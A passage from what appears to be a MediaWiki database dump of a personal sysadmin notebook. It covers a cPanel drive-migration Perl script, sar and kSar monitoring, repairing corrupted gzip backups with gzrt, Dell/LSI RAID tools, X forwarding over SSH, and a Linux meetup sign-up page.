/old/etc/*rndc* /old/etc/ips* /old/etc/ipaddrpool* /old/etc/ssl /old/etc/hosts /etc\");\n\n# Now that we\'re done, let\'s start those services we stopped\nforeach (@services) {\n  print(\"Starting $_....\\n\\n\");\n  system(\"/etc/init.d/$_ start\");\n}\n\n# Time for some cPanel magic\nprint(\"Running /scripts/upcp --force\\n\");\nsystem(\"/scripts/upcp --force\");\nprint(\"Running /scripts/sysup\\n\");\nsystem(\"/scripts/sysup\");\nprint(\"Running /scripts/fixeverything\\n\");\nsystem(\"/scripts/fixeverything\");\nprint(\"Running /scripts/exim4\\n\");\nsystem(\"/scripts/exim4\");\nprint(\"Running /scripts/securetmp\\n\");\nsystem(\"/scripts/securetmp\");\n\n# Now let\'s let cPanel restart everything again\nforeach (@services) {\n  print(\"Restarting $_....\\n\\n\");\n  system(\"/scripts/restartsrv $_\");\n}\n\n# Unmount the filesystems and let the user know about it.\nforeach $key (reverse sort keys %devicesandlabels) {     \n	system (\"/bin/umount /old$key\\n\");     \n	print \"Unounted $devicesandlabels{$key} from /old$key\\n\";\n}\n\n# Remove the mount point\nprint \"Removing mount point /old\\n\\n\";\nsystem(\"/bin/rmdir /old\");\n\n# Annoy the user\nprint(\"\\n\\n\\n*******************************************************\\n\");\nprint(\"YOU MAY NOW DISCONNECT THE OLD DRIVE\\n\");\nprint(\"PLEASE MAKE SURE TO VERIFY THE MIGRATION WORKED =]\\n\");\nprint(\"*******************************************************\\n\");\n\n\n\n</pre>','utf-8'),(22,'__TOC__\n\n== Installing and Configuring sar ==\n\n\nsar and iostat and part of the sysstat package. I believe it is installed by default in CentOS 5.\n\nInstall sar: yum install sysstat\n\nScripts are in /etc/cron.d\n\nAnd also edit [/etc/sysconfig]# cat sysstat\n\n # How long to keep log files (days), maximum is a month, default is 7\n HISTORY=15\n\n\n----\n\n\nBasic use from shell: sar -A 1\n\nsar -n DEV  #gives network device stats\n\nsar -n EDEV  #gives network device errors\n\n\n\nTo read data from the log use:\n\nsar -f /var/log/sa/sa08 (where 08 is day number to view)\n\n(this same command can be executed from ksar remotely.)\n\n\nNote: sar can also be used to monitor processes, but can\'t log the results by default, however I think you could pipe it to a log manually. \n\n\nSome additional sites on sar\n\nhttp://www.linux.com/articles/114224\n\nhttp://sourceforge.net/project/showfiles.php?group_id=179805\n\n== kSar ==\n\n\nThere is also a java GUI front end for it - kSar you can get at:\n\nwget http://sourceforge.net/project/showfiles.php?group_id=179805&package_id=207768\n\nThis is a pretty killer app - you can poll all the data sar has logged, view it in very pretty graphs and also export it (only the sections you want) as a .pdf file.\n\nThe development site for kSar is: http://ksar.atomique.net/\n\nTo run the Java client: java -jar kSar-4.0.7.jar\n\nTo connect to a remote host select \"launch SSH command\" from the data menu. Connect as: root@ipaddress It seems it is not possible to connect to a port other than 22, however this should be remedied in the future per the developer. \n\nOnce connected via ssh, select \"launch ssh command\" again using:\n\nssh command to run: sar -A -f /var/log/sysstat/sa15 (where 15 is the day number to view)\n\n[[image:kSar.jpg|center|frame]]','utf-8'),(23,'','utf-8'),(24,'== Repairing corrupted Cpanel Backups / .tar.gz files Huzzah! ==\n\nIntro:\n\nSo you are trying to restore a Cpanel backup and it doesn’t work. Imagine that – what are the odds that would ever happen!?\n\nIf in Cpanel it may or may not saying anything usefull– you might see the “unexpected end of file” reported, or it might just fail. (Goram Cpanel $%^$@#!)\n\nIf you try to gunzip it from the shell you receive “unexpected end of file”\n\nThis most likely happens because of:\n\nA) The backup is just corrupted\n\nB) It was FTP’ed using ASCII, not binary mode (our FTP servers default to binary)\n \nC) The archive was truncated when being transferred to the storage server because there was not enough room.\n\nSince Cpanel does not verify if there is enough free space on the FTP destination it seems to just throw the back up out there\n\nand hope for the best. Of course the guys back ups are mostly useless and they never know it but hey – it’s not a perfect world.  \n\nHowever as Galadriel said “Hope is not yet lost. Even the smallest of utilities can change the course of things.”\n\n[[Image:Galadriel.jpg|frame|center|Good on ya\']]\n\nEnter herewith the most wondrous gz repair tool\n\n== GZ REPAIR TOOL ==\n\n\nThe website is:\n\nhttp://www.urbanophile.com/arenn/hacking/gzrt/gzrt.html\n\n \nInstallation:\n\nIn CentOS 4.5 this is way easy:\n\n wget ftp://ftp.urbanophile.com/pub/arenn/software/sources/gzrt-0.5.tar.gz\n\nuzip and untar it, CD to the unpacked gzrt-0.5 directory and compile with: #make\n\n(If it does not compile you most likely don’t have zlib – see below)\n\nVerify compilation was successful, you should now see the gzrecover script.\n\n #cp gzrecover /bin\n\n(Just so it’s available in the path in the future)\n\n(Note: Ironically it seems rather finicky in Ubuntu. I had to build zlib and it still couldn’t find it when making gz repair tool. Hummm . . . a puzzle . . . )\n \n\n\n== Getting zlib and cpio ==\n\nVerify if you have it using locate zlib  or a yum info zlib\n\nIf you need to install it:\n\n #yum install zlib\n\nIf for some reason you need to build it, you can get it from:\n\n wget http://www.zlib.net/zlib-1.2.3.tar.gz\n\n(Building is easy: gunzip, untar, ./configure make make install )\n\nThe web site is: http://www.zlib.net/\n\n #cpio -?\n\nWill show if you have it, if not yum install cpio\n\n\n== Usage ==\n\n(From the website above)\n\nRun gzrecover on a corrupted .gz file. Anything that can be read from the file will be written to a file with the same name, but with a .recovered appended (any .gz is stripped). You can override this with the -o option. To get a verbose readout of exactly where gzrecover is finding bad bytes, use the -v option to enable verbose mode. This will probably overflow your screen with text so best to redirect output to a file. Once gzrecover has finished, you will need to manually verify any data recovered as it is quite likely that our output file is corrupt and has some garbage data in it. If your archive is a tarball, read on.\n\nFor tarballs, the tar program will choke because GNU tar cannot handle errors in the file format. Fortunately, GNU cpio (tested at version 2.5 or higher) handles corrupted files out of the box.\n\nHere\'s an example:\n\n $ ls *.gz\n my-corrupted-backup.tar.gz\n $ gzrecover my-corrupted-backup.tar.gz\n $ ls *.recovered\n my-corrupted-backup.tar.recovered\n $ cpio -F my-corrupted-backup.tar.recovered -i -v\n\nIf you have a previous release, please note that the patches to GNU tar have been discontinued. They were only marginally successful at best and GNU cpio does what is needed out of the box and does it far better.\n\n== Data Recovery ==\n\nSince the corrupted sections are omitted some data loss is bound to occur when recovering. However, you can get what you can get.\n\nIf the customer is only missing trying to recover certain things – config files, the MySQL data, etc. you very well could luck out.\n\nAs a last resort only you can try a dirty approach and just rsync the recovered data into his existing account – leave what he has and integrate what was recovered, hoping what was not recovered and was corrupted is still in his account. (I recently saved a guys 7GB site doing this, but it was not without its elements of luck.)\n\nRemember – this is advanced technical support, so please charge if appropriate.','utf-8'),(25,'','utf-8'),(26,'== Dell RAID Management Tool - megarc  ==\n\n\nThere is a cool tool that gives a lot of information and management capabilities for the hardware RAID controllers on our Dells. The utility is called MegaRC, you can get it from: \n\nhttp://www.lsi.com/storage_home/products_home/internal_raid/megaraid_sata/megaraid_sata_3008x/index.html?remote=1&locale=EN\n\n(Just goto downloads, storage, internal RAID, pick a controller and this utility will be in the downloads of all their controllers.)\n\nI\'ve only tested in on one 1425 with Fedora Core 6, should be fine with CentOS.\n\nDocumentation is included in the *.txt file. \n\nTo install:\n\n0) wget http://www.lsi.com/files/support/rsa/utilities/megaconf/ut_linux_megarc_1.11.zip      \n\n1) Unzip the file ut_linux_megarc_1.11.zip\n\n2) chmod to 744 both megarc  megarc.bin\n\nTo use:\n\nJust run the script megarc to run the utility.\n\n\n== Dell Alternative ==\n\nChris Davis noted there is also a Dell a megaraid utility available for the LSI controller based systems, information is at:\n\nhttp://linux.dell.com/storage.shtml#megaraid_scsi\n\nLook under Megaraid SCIS, management utility\n\nThere\'s also rpm\'s here;\nhttp://ftp.us.dell.com/scsi-raid/\n\n== Help and options ==\n\n\nmegrc ? will give help - there a lot of options. Read carefuly - yes, you can easily destroy the RAID config by using this utility. \n\nMegarc cmd ?\nIf the option is valid, gives the complete help regarding that particular option.\n\nExample:\n\n./megarc -ctlrInfo ?\n\n\nFor summary data on the configured RAID:\n\n[root@somehost]# ./megarc -ldInfo -a0 -L0\n\n<pre>\n        **********************************************************************\n              MEGARC MegaRAID Configuration Utility(LINUX)-1.11(12-07-2004)\n              By LSI Logic Corp.,USA\n        **********************************************************************\n          [Note: For SATA-2, 4 and 6 channel controllers, please specify\n          Ch=0 Id=0..15 for specifying physical drive(Ch=channel, Id=Target)]\n\n        Type ? as command line arg for help\n\n\n        Finding Devices On Each MegaRAID Adapter...\n        Scanning Ha 0, Chnl 0 Target 15\n\n                *******Information Of Logical Drive 0*******\n\n          Logical Drive : 0( Adapter: 0 ):  Status: OPTIMAL\n        ---------------------------------------------------\n        SpanDepth :01     RaidLevel: 1  RdAhead : Adaptive  Cache: CachedIo\n        StripSz   :064KB   Stripes  : 2  WrPolicy: WriteBack\n\n        Logical Drive 0 : SpanLevel_0 Disks\n        Chnl  Target  StartBlock   Blocks      Physical Target Status\n        ----  ------  ----------   ------      ----------------------\n        0      00    0x00000000   0x1113e000   ONLINE\n        0      01    0x00000000   0x1113e000   ONLINE\n</pre>\n\n\nChecking for a failed drive:\n\n[root@somehost]# ./megarc -pdFailInfo -a0 -ch0 -id0\n\n<pre>\n\n        **********************************************************************\n              MEGARC MegaRAID Configuration Utility(LINUX)-1.11(12-07-2004)\n              By LSI Logic Corp.,USA\n        **********************************************************************\n          [Note: For SATA-2, 4 and 6 channel controllers, please specify\n          Ch=0 Id=0..15 for specifying physical drive(Ch=channel, Id=Target)]\n\n        Type ? as command line arg for help\n\n\n        Finding Devices On Each MegaRAID Adapter...\n        Scanning Ha 0, Chnl 0 Target 15\n\n        Adp(0): Chnl(0) Id(0) not in FAILED state\n</pre>','utf-8'),(27,'__TOC__\n\n== Installing and Configuring sar ==\n\n\nsar and iostat and part of the sysstat package. I believe it is installed by default in CentOS 5.\n\nInstall sar: yum install sysstat\n\nScripts are in /etc/cron.d\n\nAnd also edit [/etc/sysconfig]# cat sysstat\n\n # How long to keep log files (days), maximum is a month, default is 7\n HISTORY=15\n\n\n----\n\n\nBasic use from shell: sar -A 1\n\nsar -n DEV  #gives network device stats\n\nsar -n EDEV  #gives network device errors\n\n\n\nTo read data from the log use:\n\nsar -f /var/log/sa/sa08 (where 08 is day number to view)\n\n(this same command can be executed from ksar remotely.)\n\n\nNote: sar can also be used to monitor processes, but can\'t log the results by default, however I think you could pipe it to a log manually. \n\n\nSome additional sites on sar\n\nhttp://www.linux.com/articles/114224\n\nhttp://sourceforge.net/project/showfiles.php?group_id=179805\n\n== kSar ==\n\n\nThere is also a java GUI front end for it - kSar you can get at:\n\nwget http://sourceforge.net/project/showfiles.php?group_id=179805&package_id=207768\n\nNew beta version 4.0.9:\n\nwebstart : http://ksar.atomique.net/Dev/kSar.jnlp\n\njar : http://ksar.atomique.net/Dev/kSar-4.0.9.jar\n\n\nThis is a pretty killer app - you can poll all the data sar has logged, view it in very pretty graphs and also export it (only the sections you want) as a .pdf file.\n\nThe development site for kSar is: http://ksar.atomique.net/\n\nTo run the Java client: java -jar kSar-4.0.7.jar\n\nTo connect to a remote host select \"launch SSH command\" from the data menu. Connect as: root@ipaddress It seems it is not possible to connect to a port other than 22, however this should be remedied in the future per the developer. \n\nOnce connected via ssh, select \"launch ssh command\" again using:\n\nssh command to run: sar -A -f /var/log/sysstat/sa15 (where 15 is the day number to view)\n\n[[image:kSar.jpg|center|frame]]','utf-8'),(28,'<big>\'\'\'Welcome to The Lyceum.\'\'\'</big>\n\nThis is a Wiki I\'ve put together essentially as an on-line notebook, to allow me a central repository of notes accumulated in work, through research and to save myself the headache of trying to find the post-a-note, bit of scrap papper or other useless medium I may have written something down on. And I can conveniently access it too, so bonus.\n\nI\'ll be adding and copying information here, focused primarily on IT related fields - Linux, Solaris, Cisco Networking, etc. and likely branching it off into other more esoteric areas as well.\n\nIf you have stumbled upon it - welcome.\n\nCheers,\n\nThe Doctor\n\n\nAn index of all pages is at [[Special:AllPages]]\n\n\n\n\nConsult the [http://meta.wikimedia.org/wiki/Help:Contents User\'s Guide] for information on using the wiki software.\n\n== Getting started ==\n\n* [http://www.mediawiki.org/wiki/Help:Configuration_settings Configuration settings list]\n* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]\n* [http://mail.wikimedia.org/mailman/listinfo/mediawiki-announce MediaWiki release mailing list]','utf-8'),(29,'\n\n\n== Cygwin ==\n\n\'\'\'Remote Sessions via XDMCP\'\'\'\n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of XDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.','utf-8'),(30,'\n\n== Cygwin ==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n\n$ X &\nor \n$ XWin.exe &\n\nOnce the X server is running you can SSH to you server using Cygwin with either\n\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n\n(If you use Putty to ssh with, select Connection -->  SSH  --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine.\n\n$xeyes &\n$katomic $\n$ooffice\n\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of XDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.','utf-8'),(31,'\n\n== General SSH / X Tutorial ==\n\nGeneral information and a few different configurations\n\nhttp://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html\n\n== Cygwin ==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n\n$ X &\nor \n$ XWin.exe &\n\nOnce the X server is running you can SSH to you server using Cygwin with either\n\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n\n(If you use Putty to ssh with, select Connection -->  SSH  --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine.\n\n$xeyes &\n$katomic $\n$ooffice\n\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of XDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.','utf-8'),(32,'__FORCETOC__\n\n\n== First Linux Night ==\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in        Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the  evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who:     Sat 8 Sept. / Sun 9 Sept     Sat 15 Sept. / Sun 16 Sept  \n \n Pete        Yes          Yes             Yes           Yes\n (I\'ll provide some soda and beer)','utf-8'),(33,'','utf-8'),(34,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in        Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the  evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who:     Sat 8 Sept. / Sun 9 Sept     Sat 15 Sept. / Sun 16 Sept  \n \n Pete        Yes          Yes             Yes           Yes\n (I\'ll provide some soda and beer)','utf-8'),(35,'Hey Guys,\n\nFeel free to leave comments or discussion here. . . \n\nCheers,\nPete','utf-8'),(36,'__FORCETOC__\n[[image:hiking_tux_200.jpeg|right|frame|To the party!]]\n\n\n== First Linux Night ==\n\n\n\n:Exact night to be announced - likely the second or third Sat or Sun in        Sept. If you are coming post your name below under Who\'s Coming and what evenings (Sat / Sun) would work for you. Thus we can decide the  evening to best fit everyone\'s schedule. It will run about 7pm - 10pm.\n\n\nI\'ll be hosting a Linux night soon at my house, using the pool / party house our Condo complex has. There will be tables to set up systems and monitors on, so feel free to bring you box. I\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi / wired NIC rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running *nix already or plan to install it. \n\nThis is a basic orientation to a better life through Linux.\n\nWe can do a more advanced night later if people want. \n\n\'\'Feel free to bring food and beer.\'\'\n\nWe can install Ubuntu, Fedora, CentOS, Suse or anything else you like - I have these DVDs, if you want to try another Disto bring it too.\n\n\n== Suggested Topics ==\n\n\nHere are some topics we can cover:\n\n\'\'\'Access:\'\'\'\n\nSSH server config (sshd.config options and security)\n\nCygwin - bash and X server for Windows\n\nForwarding server based applications through X over SSH\n(Run somthing one one computer have it displayed on yours!)\n\nDesktop forwarding using SSH and VNC\n\n\'\'\'File management:\'\'\'\n\nSCP and rsync for client / server transfers and backups\n\nUsing the fish and smb protocols (with KDE desktop)\n\nKDE applications and fish\n\nftp services\n\nUsing .tar .gz .zip files\n\nmounting devices\n\nCompiling something from source\n\n\'\'\'Linux tools:\'\'\'\n\nTOP and ps\nnetstat\nsar\n/proc\nsmartctl\nhdparam \niostat\ngrub\npackage management \n\n\'\'\'Linux Apps and projects:\'\'\'\n\nMythTV\n\nBeryl\n\nMediawiki\n\nWordpress\n\nBackupPC\n\n\n== Who\'s Coming ==\n\nList what days you \'\'could\'\' make it:\n\n Who:     Sat 8 Sept. / Sun 9 Sept     Sat 15 Sept. / Sun 16 Sept  \n \n Pete        Yes          Yes             Yes           Yes\n (I\'ll provide some soda and beer)\n\nCody     not 8th or 9th                          15th yes / 16th yes\n(i\'ll bring beer and some sort of snacks, will bring my ubuntu box)','utf-8'),(37,'\'\'\'Application Forwarding Through X Windows\n(over an ssh connection)\'\'\'\n\nYou can run applications on a specified server, and have them displayed on your client. Even if that client is a Windows based system, by installing an X server for Windows and using ssh to connect to the server, you can still have that app be displayed on the Windows system, or run the enitre desktop remotely. It is extremely easy to do and opens the door to back-end server driven apps being used cross-platform running at full speed on the server side. \n\n== Xming Windows Xserver==\n\nA great open source X server for Windows, Xming\n\nhttp://www.straightrunning.com/XmingNotes/\n\nhttp://sourceforge.net/projects/xming/\n\n\n== Simple Windows / X server solution ==\n\n1) Install putty\n\n2) Install Xming X server\n\n3) Start Xming (mult window mode usually best)\n\n4) Use putty, with SSH option for X Forwarding enabled, to connect to server\n\n5) Run the X based app you want and it will open on the Windows / X server client\n\n6) To run the entire desktop use: X -query \'\'ipaddress\'\' This will run the target systems entire desktop, forwarded to your client, using XDMCP. You can also use X - broadcast to see what desktops are available. \n\n\n== General SSH / X Tutorial ==\n\nGeneral information and a few different configurations\nfor application and desktop forwarding thru X over SSH.\n\nhttp://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html\n\n== Cygwin X Server Option==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n\n$ X &\nor \n$ XWin.exe &\n\nOnce the X server is running you can SSH to you server using Cygwin with either\n\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n\n(If you use Putty to ssh with, select Connection -->  SSH  --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine, for example:\n<pre>\n$xeyes &\n$katomic $\n$ooffice &\n</pre>\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of XDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.','utf-8'),(38,'\'\'\'Application Forwarding Through X Windows\n(over an ssh connection)\'\'\'\n\nYou can run applications on a specified server, and have them displayed on your client. Even if that client is a Windows based system, by installing an X server for Windows and using ssh to connect to the server, you can still have that app be displayed on the Windows system, or run the enitre desktop remotely. It is extremely easy to do and opens the door to back-end server driven apps being used cross-platform running at full speed on the server side. \n\n== Xming Windows Xserver==\n\nA great open source X server for Windows, Xming\n\nhttp://www.straightrunning.com/XmingNotes/\n\nhttp://sourceforge.net/projects/xming/\n\n\n== Simple Windows / X server solution ==\n\n1) Install putty\n\n2) Install Xming X server\n\n3) Start Xming (mult window mode usually best)\n\n4) Use putty, with SSH option for X Forwarding enabled) to connect to server\n ssh -X user@ipaddress\n\n5) Run the X based app you want and it will open on the Windows / X server client. For example, just run gimp & and it should appear on the Windows client. \n\n6) To run the entire desktop use: X -query \'\'ipaddress\'\' This will run the target systems entire desktop, forwarded to your client, using XDMCP. You can also use X - broadcast to see what desktops are available. \n\nDoesn\'t work? See troubleshooting below. \n\n== Improve Desktop Performance ==\n\nRunning XDMCP is not particularly fast, but is encrypted over ssh. You can use a VNC client, which can be faster, but to really see a gain accelrate the X server and client by using the NXserver and NXclient from http://www.nomachine.com/download.php \n\n\n== General SSH / X Tutorial ==\n\nGeneral information and a few different configurations\nfor application and desktop forwarding thru X over SSH.\n\nhttp://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html\n\n== Cygwin X Server Option==\n\n\'\'\'Via Cygwin\'s X Client on Local Machine\'\'\'\n\nhttp://x.cygwin.com/docs/ug/cygwin-x-ug.html\n\nStart Cygin and start the X server with \n\n$ X &\nor \n$ XWin.exe &\n\nOnce the X server is running you can SSH to you server using Cygwin with either\n\n$ ssh -X root@hostname\nor\n$ ssh -Y -l user host\n\n(If you use Putty to ssh with, select Connection -->  SSH  --> X11 - Enable X11 Forwarding. You should not have to specify a display name - leave it blank)\n\nRun the app you want in the shell and it will forward thru ssh over X and display on the local Windows machine, for example:\n<pre>\n$xeyes &\n$katomic $\n$ooffice &\n</pre>\n\'\'\'Remote Sessions via XDMCP\'\'\' - Remote Desktop \n\nCygwin/X can be used login to one or several remote sessions using XDMCP (X Display Manager Control Protocol).\n\nStart Cygwin/X with a command similar to the following to login to a single remote session using XDMCP:\n\nXWin.exe -query remote_hostname_or_ip_address \n\n(If you get an error about client denied from \'\'ipaddress\'\'and something about an MIT_MAGIC_COOKIE, see troubleshooting section.)\n\n----\n\n\nYou may login to several remote sesstions with a single or multiple hosts using XDMCP. Each session will need a seperate display number, specified by the :display_number parameter, such as :0. A display number is not the same as a screen number, as a single display can have multiple screens associated with it. Each display listens on a different network port number, so each display can connect to multiple machines. Start Cygwin/X with command lines similar to the following to login to several remote sessions using XDMCP:\n\nXWin.exe :0 -query remote_hostname_or_ip_address_0 \n\nXWin.exe :1 -query remote_hostname_or_ip_address_1 \n\nNote that the :display_number parameter is a general X Server parameter, not specific to Cygwin/X. Further documentation of the :display_number parameter can be found in the X Server manual page. XDMCP is a complex system that is not specific to Cygwin/X; further discussion of \nXDMCP is beyond the scope of this document. You may wish to read the Linux XDMCP HOWTO or the X Server XDMCP Options for more information.\n\n== Troubleshooting ==\n\n*Trying to run an XDMCP desktop remotely and get and Audit message stating:\n\nhttp://www.freedesktop.org/wiki/CygwinXTroubleShooting#head-6a6eba8b76cc333691dc33a73efbd74473ca28eb\n\nCygwin/X reports AUDIT: client 1 rejected from IP \'\'remotehost\'\'\n\nProblem is maybe a wrong DNS (Network name resolution). Make sure your windows host has a hostname which is valid from linux too and an IP address which linux can resolve to that hostname. \n\nIf you add a line \n\n192.168.26.1 myhost \n\nto /etc/hosts on the XDMCP server containing the IP address and the hostname of your windows host the name resolution should work. \n\nAlso, ensure that kdmrc has xdmcp set to true - there is a whole section under [Xdmcp}\n\n*X applications or desktop not being forwarded over ssh?\n\nEnsure X11Forwarding is enabled in sshd_config on the server - restart sshd service','utf-8'),(39,'\'\'\'Application Forwarding Through X Windows\n(over an ssh connection)\'\'\'\n\nYou can run applications on a specified server, and have them displayed on your client. Even if that client is a Windows based system, by installing an X server for Windows and using ssh to connect to the server, you can still have that app be displayed on the Windows system, or run the enitre desktop remotely. It is extremely easy to do and opens the door to back-end server driven apps being used cross-platform running at full speed on the server side. \n\n== 